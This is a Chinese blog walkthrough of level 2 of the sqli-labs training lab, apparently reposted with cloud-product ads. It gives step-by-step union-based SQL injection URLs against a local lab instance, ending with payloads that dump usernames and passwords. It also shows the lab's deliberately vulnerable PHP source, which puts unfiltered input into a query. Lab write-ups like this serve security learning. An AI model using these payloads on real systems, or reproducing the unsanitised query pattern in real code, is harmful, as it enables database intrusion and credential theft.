sqli-labs-master第二关:Error Based- Intiger

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介:

接上篇博客:http://blog.51cto.com/tdcqvip/2060816


来到第二关:


http://127.0.0.1/sqli-labs-master/Less-2/


1.png


访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1


2.png


判断是否有注入点:

and 1 = 1 返回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23


3.png


and 1 = 2 返回失败

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23


4.png


说明存在注入点:

order by  n 查看字段

当n=3时返回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3  %23



5.png


当=4时返回错误

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4  %23


6.png


说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3  %23


7.png


通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字


8.png



我们通过上图可以看到数据库是“security” 版本是5.5.53

接下来我们查看数据库security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23


9.png


通过上图可以看到有users表

查看users表里的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

10.png


接下来就是查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1,username,password from users where id = 2 %23

11.png


结束:

声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句


接下来看看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html PUBLIC  "-//W3C//DTD XHTML 1.0 Transitional//EN"  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns= "http://www.w3.org/1999/xhtml" >
<head>
<meta http-equiv= "Content-Type"  content= "text/html; charset=utf-8"  />
<title>Less-2 **Error Based- Intiger**</title>
</head>
 
<body bgcolor= "#000000" >
 
 
 
 
<div style= " margin-top:60px;color:#FFF; font-size:23px; text-align:center" >Welcome&nbsp;&nbsp;&nbsp;<font color= "#FF0000" > Dhakkan </font><br>
<font size= "3"  color= "#FFFF00" >
 
 
<?php
//including the Mysql connect parameters.
include ( "../sql-connections/sql-connect.php" );
error_reporting (0);
// take the variables
if (isset( $_GET [ 'id' ]))
{
$id = $_GET [ 'id' ];
//logging the connection parameters to a file for analysis.
$fp = fopen ( 'result.txt' , 'a' );
fwrite( $fp , 'ID:' . $id . "\n" );
fclose( $fp );
 
 
// connectivity 
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1" ;
$result =mysql_query( $sql );
$row  = mysql_fetch_array( $result );
echo  $sql ;
echo  "<br>" ;
 
     if ( $row )
     {
       echo  "<font size='5' color= '#99FF00'>" ;
       echo  'Your Login name:' $row [ 'username' ];
       echo  "<br>" ;
       echo  'Your Password:'  . $row [ 'password' ];
       echo  "</font>" ;
       }
     else 
     {
     echo  '<font color= "#FFFF00">' ;
     print_r(mysql_error());
     echo  "</font>" ;  
     }
}
     else
        
         echo  "Please input the ID as parameter with numeric value" ;
         }
 
?>
 
 
</font> </div></br></br></br><center>
<img src= "../images/Less-2.jpg"  /></center>
</body>
</html>


通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

1
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1" ;

这句,没有“''”符号。


利用方式大致相同。


第三关尽快更新





本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2061568

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
6月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第四关
sqli-labs---第四关
|
6月前
|
安全 数据库
sqli-labs---第五关
sqli-labs---第五关
|
6月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第三关
sqli-labs---第三关
|
6月前
|
安全 数据库
sqli-labs---第二关
sqli-labs---第二关
|
安全 关系型数据库 MySQL
【报错】sqli-labs靶场搭建出现“Unable to connect to the database: security”
【报错】sqli-labs靶场搭建出现“Unable to connect to the database: security”
1105 0
|
网络虚拟化
ValueError: check_hostname requires server_hostname的解决办法
报错ValueError: check_hostname requires server_hostname通常是因为版本冲突等原因,查遍网上众多大佬总结的经验后,最终发现是由网络代理导致的问题,即我们通常说的vpn问题。
293 0
Anaconda ValueError:check_hostname requires server_hostname
Anaconda ValueError:check_hostname requires server_hostname
223 0
Anaconda ValueError:check_hostname requires server_hostname
|
索引
问题复盘:Kibana did not load properly. Check the server output for more information
问题复盘:Kibana did not load properly. Check the server output for more information
422 0
问题复盘:Kibana did not load properly. Check the server output for more information
|
Java Spring
Seata Failed to get available servers: endpoint format should like ip:port 报错原因/解决方案汇总版(看完本文必解决问题)
Seata Failed to get available servers: endpoint format should like ip:port 报错原因/解决方案汇总版(看完本文必解决问题)
975 0
Seata Failed to get available servers: endpoint format should like ip:port 报错原因/解决方案汇总版(看完本文必解决问题)
|
数据采集 Python